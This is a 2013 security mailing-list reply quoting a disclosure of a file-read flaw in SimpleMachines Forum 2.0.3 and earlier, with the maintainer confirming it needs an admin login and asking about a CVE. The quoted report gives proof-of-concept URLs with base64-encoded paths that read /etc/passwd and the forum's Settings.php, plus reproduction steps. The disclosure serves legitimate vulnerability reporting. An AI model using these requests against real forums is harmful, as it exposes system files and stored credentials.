Date: Tue, 08 Jan 2013 14:24:53 +0100 From: Carlos Alberto Lopez Perez <clopez@...lia.com> To: WHK Yan <yan.uniko.102@...il.com> CC: full-disclosure@...ts.grok.org.uk, submissions@...ketstormsecurity.com, mr.inj3ct0r@...il.com, submit@...ecurity.com, vuln@...unia.com, vuldb@...urityfocus.com, oss-security@...ts.openwall.com Subject: Re: [Full-disclosure] File Disclosure in SimpleMachines Forum <= 2.0.3 On 07/01/13 15:54, WHK Yan wrote: > *Summary:* > -------------- > A security flaw allows an attacker to know the full source file of the web > system. > > *Details: > ----------- > Sources/ManageErrors.php Line 340: > // Make sure the file we are looking for is one they are allowed to look at > if (!is_readable($file) || (strpos($file, '../') !== false && ( > strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false))) > fatal_lang_error('error_bad_file', true, > array(htmlspecialchars($file))); > > Bypass function strpos($file, '../'), no need "../", example: > /home/foo/www/Settings.php > > *PoC: > ------- > http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q= > Read /etc/passwd > > works with path disclosure for read Settings.php: > http://whk.drawcoders.net/index.php/topic,2792.0.html > > *Reproduce: > 1. Open http://example.com/forumpath/SSI.php?ssi_function=fetchPosts > 2. Get full path of web app ( /home/1337/public_html/SSI.php ). > 3. Exploit in base64: > http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA= > To read /home/spadmin/public_html/Settings.php > > Referer and Mirror: > ------------------------- > http://whk.drawcoders.net/index.php/topic,2805.0.html > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ Hi! I have verified SMF is affected by this issue. The PoC requires an admin login to be exploited. Is there any possibility to exploit this issue without an admin login? I guess a CVE should be assigned. Do you already asked for one? Download attachment "signature.asc" of type "application/pgp-signature" (901 bytes)
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.